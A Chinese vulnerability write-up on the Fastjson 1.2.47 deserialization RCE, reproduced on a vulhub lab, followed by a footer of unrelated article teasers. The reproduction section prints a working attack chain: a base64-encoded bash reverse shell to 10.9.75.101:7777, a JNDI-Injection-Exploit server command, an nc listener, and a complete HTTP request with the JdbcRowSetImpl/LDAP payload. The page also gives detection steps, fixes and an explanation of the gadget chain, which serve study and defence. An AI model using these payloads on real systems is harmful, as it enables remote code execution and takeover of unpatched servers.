【漏洞库】Fastjson_1.2.47_rce

文章目录

    • 漏洞描述
    • 漏洞编号
    • 漏洞评级
    • 影响版本
    • 漏洞复现
      • - 利用工具
      • - 漏洞环境
      • - 漏洞扫描
      • - 漏洞验证
      • - 深度利用
      • - GetShell
      • - EXP 编写
    • 漏洞挖掘
      • - 寻找入口点
      • - 指纹信息
    • 修复建议
      • - 漏洞修复
    • 漏洞原理

漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。

漏洞编号

CNVD-2019-22238

漏洞评级

严重

影响版本

< Fastjson 1.2.47 及之前的版本

漏洞复现

- 利用工具

链接：https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwd=yuan

- 漏洞环境

vulhub的靶场环境：vulhub/fastjson/1.2.47-rce](https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce)

运行测试环境：

docker compose up -d

环境运行后，访问http://your-ip:8090即可看到JSON格式的输出：

image-20230908172805694

- 漏洞扫描

手工主动测试，利用非法json格式来尝试获取回显：

如图我们可以看到，服务端返回报错内容中包含fastjson。

- 漏洞验证

借助DNSLog，让目标服务器访问，查看回显

image-20230908172442160

发现有回显，说明存在漏洞

image-20230908172408509

- 深度利用

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启JNDI服务：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.75.101"

以下命令的解释：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

这是一个在bash shell中执行的命令，它涉及到了bash、echo、base64和管道操作符。首先，{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}部分将字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=作为参数传给echo命令，然后输出。接着，输出被传递给base64 -d进行解码，最后解码的结果再传递给bash -i进行执行。其中，{bash,-i}部分表示使用交互模式运行bash

其中的base64编码是通过这个网站进行编码的：https://ares-x.com/tools/runtime-exec/

编码过程如图：

image-20230908173611333

执行开启服务的命令之后，如图所示，表示已经开启了不同java版本的rmi服务与ldap服务：

image-20230908173808090

- GetShell

kali开启监听：

nc -lvvp 7777

发送请求包:

POST / HTTP/1.1
Host: 10.9.75.101:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 261{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.9.75.101:1389/zbcmsg","autoCommit":true}
}

image-20230908174059606

发送之后，可以看到kali已经获得反弹Shell

image-20230908174134695

- EXP 编写

这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar的 -C 参数指定EXP(这里的EXP使用反弹shell)，不过这个EXP需要通过base64编码：

bash -i >& /dev/tcp/10.9.75.101/7777 0>&1

通过网站在线编码：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

其中的base64编码是通过这个网站进行编码的：https://ares-x.com/tools/runtime-exec/

编码过程如图：

image-20230908173611333

将以上编码结果交给 -C参数，再使用 -A参数指定JNDI服务所处的服务器IP地址，执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。

漏洞挖掘

- 寻找入口点

  1. 找到发送JSON序列化数据的接口

  2. 判断是否使用fastjson，利用非法json格式来尝试获取回显：

    如图我们可以看到，服务端返回报错内容中包含fastjson。

  3. 通过BP插件检测该fastjson版本是否存在漏洞

    https://github.com/zilong3033/fastjsonScan

    下载插件导入BP

    抓包发送到插件进行检测：

    在这里插入图片描述

如下检测结果：存在漏洞

image-20230908182543255

- 指纹信息

通过异常json输入之后的响应回显，判断是否使用fastjson

修复建议

- 漏洞修复

  1. 升级Fastjson到最新版

  2. 使用安全产品过滤非法内容

    比如请求包中如果出现了JdbcRowSetImpl，就可以把他拦住。

  3. 更换其它序列化工具 Jackson/Gson

漏洞原理

不同版本的fastjson其实就是对一些输入的数据进行了校验等操作，绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质：

  1. 由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。

  2. 所以如果有方法在自动调用get/set/is方法的时候能访问远程资源，那么就可以借助这个方法完成利用。

  3. 很巧的是，JDK8中恰好有个JdbcRowSetlmpl类，里面就有 set方法 setAutoCommit，这个方法里面调用了connect方法，connect方法里面又具有JNDI的lookup方法，lookup方法里面传的恰好又是get方法，所以我们可以编写一个payload，利用@type指定要序列化的类，然后指定一些要反序列化的属性，即可完成利用链，接下来就看利用链中的源码：

  4. 利用JdbcRowSetlmpl类中的方法setAutoCommit()：

    image-20230716150420480

  5. 进入connect方法：

    image-20230716150603925

    我们可以看到connect方法中具有JNDI的lookup方法，lookup是JNDI用于查找资源的方法，里面传的参数是dataSourceName，所以我们可以在payload的json字符串中传入这个参数dataSourceName，并且指定他的 值为我们的RMI服务或者其他服务，lookup就会到我们指定的服务中下载恶意代码并执行。

    为什么下载我们的EXP后会自动执行呢？

    因为我们的exp具有静态代码块或者构造方法，当程序创建实例的时候，就会自动触发构造方法或者静态代码块的内容。

    如下图中的NamingManager类，其中利用反射创建实例，然后就直接触发恶意代码中的静态代码块内容，从而让我们利用。

    image-20230715133800679

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/130731.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

TCP服务器使用多路复用

TCP服务器使用多路复用

启用复用的作用&#xff1f; 解决linux系统中的io阻塞问题&#xff0c;让多个阻塞io接口可以一起执行。无需开启线程&#xff0c;节省系统资源。 linux系统中的阻塞io有哪些&#xff1f; scanf、read管道、eadTcp套接字、acppet接收连接请求 有以下两种方式实现多路复用&am…
阅读更多...
单位固定资产应该怎么管理

单位固定资产应该怎么管理

对于单位固定资产的管理&#xff0c;更是需要我们以创新的方式&#xff0c;以科技的手段&#xff0c;以严谨的态度来对待。那么&#xff0c;单位固定资产应该如何进行有效的管理呢&#xff1f; 建立一个完善的资产管理系统　　我们需要建立一个完善的资产管理系统。这个系统应…
阅读更多...
JS如何判断一个变量是否为数组类型？

JS如何判断一个变量是否为数组类型？

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 使用 Array.isArray() 方法⭐ 使用 instanceof 操作符⭐ 使用 Object.prototype.toString.call() 方法⭐ 使用 Array.from() 方法⭐ 使用 Array.prototype.isArray 属性&#xff08;不推荐&#xff09;⭐ 写在最后 ⭐ 专栏简介 前端入门之…
阅读更多...
使用rpm重新安装包

使用rpm重新安装包

#查询 rpm -qa | grep cloudstack #卸载 rpm -e cloudstack-agent-4.18.0.0-1.x86_64 #安装 rpm -ivh cloudstack-agent-4.18.0.0-1.x86_64.rpm
阅读更多...
Mysql同步数据到Doris的踩坑过程

Mysql同步数据到Doris的踩坑过程

问题背景 由于项目需要&#xff0c;需要把多个Mysql数据库的数据同步到Doris数据库&#xff0c;然后利用Doris强调的计算和查询能力&#xff0c;来满足业务需求。有关Doris可以查看它的官方文档来了解它。 seatunnel的使用到放弃 缘起 从《第十届GIAC全球互联网架构大会》了…
阅读更多...
《Chain-of-Thought Prompting Elicits Reasoning in Large Language Models》全文翻译

《Chain-of-Thought Prompting Elicits Reasoning in Large Language Models》全文翻译

《Chain-of-Thought Prompting Elicits Reasoning in Large Language Models》- Chain-of-Thought Prompting Elicits Reasoning in Large Language Models 论文信息摘要1. 介绍2. 思维链提示3. 算术推理3.1 实验设置3.2 结果3.3 消融研究3.4 思想链的稳健性 4. 常识推理5. 符号…
阅读更多...
win11本地连接没了怎么办

win11本地连接没了怎么办

很多用户在使用win11系统时发现自己的网络连接没有了&#xff0c;遇到这种情况的话&#xff0c;我们应该怎么处理呢&#xff1f;我们可以尝试打开网络图标&#xff0c;下面就是小编整理出的教程&#xff0c;大家一起看看吧。 win11本地连接没了怎么办 方法一&#xff1a; 1、…
阅读更多...
Python图像融合处理和 ROI 区域绘制基础

Python图像融合处理和 ROI 区域绘制基础

文章目录 一、图像融合二、图像 ROI 区域定位三、图像属性3.1 shape3.2 size3.3 dtype四、图像通道分离及合并4.1、split()函数4.2 merge()函数五、图像类型转换一、图像融合 图像融合通常是指多张图像的信息进行融合，从而获得信息更丰富的结果，能够帮助人们观察或计算机处理…
阅读更多...
【echarts】如何将iconfont转换成echart所需的path路径 echarts折线图、柱状图如何设置自定义svg图标

【echarts】如何将iconfont转换成echart所需的path路径 echarts折线图、柱状图如何设置自定义svg图标

步骤 下载iconfont图标到本地&#xff0c;用浏览器打开&#xff0c;右键查看源代码&#xff0c;或者用开发IDE软件打开&#xff0c;找到path d...&#xff0c;这个就是我们要传递给echart的icon的值。 代码示例&#xff1a; legend: {data: data?.map((item) > item.comp…
阅读更多...
Java计算机毕业设计基于SpringBoot音乐网项目（附源码讲解）

Java计算机毕业设计基于SpringBoot音乐网项目（附源码讲解）

目录 用户端 第一步&#xff1a;用户注册 第二步&#xff1a;用户登录 第三步&#xff1a;平台首页&#xff08;可查看平台歌单、歌手详细信息操作等等&#xff09; 第四步&#xff1a;查看歌单 第五步&#xff1a;歌单详情操作&#xff08;歌单评价、歌单歌曲下载、歌单…
阅读更多...
06-mq

06-mq

1、消息队列有什么优点和缺点? 优点&#xff1a; 解耦、异步、削峰填谷。 缺点&#xff1a; 系统可用性降低 系统复杂性提高 一致性问题 2、常见消息队列的比较 3、Kafka的特性 1.消息持久化 2.高吞吐量 3.扩展性强&#xff08;动态&#xff09;4集群&#xff0b;4台集群…
阅读更多...
前端使用H5中draggable实现拖拽排序效果

前端使用H5中draggable实现拖拽排序效果

文章目录 一、实现代码二、实现效果 一、实现代码 <!DOCTYPE html> <style>* {padding: 0;margin: 0;}body {display: flex;width: 100%;height: 100vh;justify-content: center;align-items: center;}.list {display: flex;width: 336px;flex-wrap: wrap}.list-i…
阅读更多...
虚拟机Ubuntu操作系统常用终端命令（1）（详细解释+详细演示）

虚拟机Ubuntu操作系统常用终端命令（1）（详细解释+详细演示）

虚拟机Ubuntu操作系统常用终端命令 本篇讲述了Ubuntu操作系统常用的三个功能&#xff0c;即归档&#xff0c;软链接和用户管理方面的相关知识。希望能够得到大家的支持。 文章目录 虚拟机Ubuntu操作系统常用终端命令二、使用步骤1.归档1.1创建档案包1.2还原档案包1.3归档并压缩…
阅读更多...
Map和Set及其实现类详解

Map和Set及其实现类详解

目录 一, 搜索 1,传统搜索 2,Map和Set模型 二, Map的使用 1,Map接口的继承及实现图 2,Map接口的使用 3,TreeMap和HashMap的使用和对比 1,TreeMap 代码示例 map中插入的数据按照key进行排序 map中插入的数据必须具有可比较性(或者实现了比较器相关接口) ​map中插入…
阅读更多...
SSM SpringBoot vue快递柜管理系统

SSM SpringBoot vue快递柜管理系统

SSM SpringBoot vue快递柜管理系统 系统功能 登录 注册 个人中心 快递员管理 用户信息管理 用户寄件管理 配送信息管理 寄存信息管理 开发环境和技术 开发语言&#xff1a;Java 使用框架: SSM(Spring SpringMVC Mybaits)或SpringBoot 前端: vue 数据库&#xff1a;Mys…
阅读更多...
【LeetCode-中等题】59. 螺旋矩阵 II

【LeetCode-中等题】59. 螺旋矩阵 II

文章目录 题目方法一&#xff1a;二维数组缩圈填数字方法二&#xff1a; 题目 方法一&#xff1a;二维数组缩圈填数字 定义四个边界条件&#xff0c;每转一圈&#xff0c;把数值填进去&#xff0c;然后缩小一圈&#xff0c;直到不满足条件位置 结束循环条件可以是&#xff1a; …
阅读更多...
WxJava开发微信登录、微信支付

WxJava开发微信登录、微信支付

WxJava开发微信支付、微信登录 前言一、引入依赖二、修改配置文件三、小程序微信登录1.登录流程时序2.认识openid、unionid和code3.代码实现 四、小程序微信支付1.业务流程图2.签名、私钥、证书、敏感信息加解密说明3.代码实现 前言 WxJava是微信Java开发工具包&#xff0c;支…
阅读更多...
【HTML专栏4】常用标签（标题、段落、换行、文本格式化、注释及特殊字符）

【HTML专栏4】常用标签（标题、段落、换行、文本格式化、注释及特殊字符）

本文属于HTML/CSS专栏文章&#xff0c;适合WEB前端开发入门学习&#xff0c;详细介绍HTML/CSS如果使用&#xff0c;如果对你有所帮助请一键三连支持&#xff0c;对博主系列文章感兴趣点击下方专栏了解详细。 博客主页&#xff1a;Duck Bro 博客主页系列专栏&#xff1a;HTML/CS…
阅读更多...
人脸签到系统 pyQT+数据库+深度学习

人脸签到系统 pyQT+数据库+深度学习

一、简介 人脸签到系统是一种基于人脸识别技术的自动签到和认证系统。它利用计算机视觉和深度学习算法来检测、识别和验证个体的面部特征&#xff0c;以确定其身份并记录其出现的时间。这个系统通常用于各种场景&#xff0c;包括企业、学校、会议、活动和公共交通等&#xff0c…
阅读更多...
10个值得收藏的3D任务角色下载网站

10个值得收藏的3D任务角色下载网站

每个人都喜欢免费的东西。 无论是免费的 3D 角色还是游戏资产&#xff0c;我们都喜欢它们。 以下是可以为你的游戏获取免费 3D 角色的前 10 个网站的列表。 你可以将它们用于多种用途&#xff0c;例如 3D 打印或动画剪辑。 如果需要将下载的3D模型转换为其他格式&#xff0c;可…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发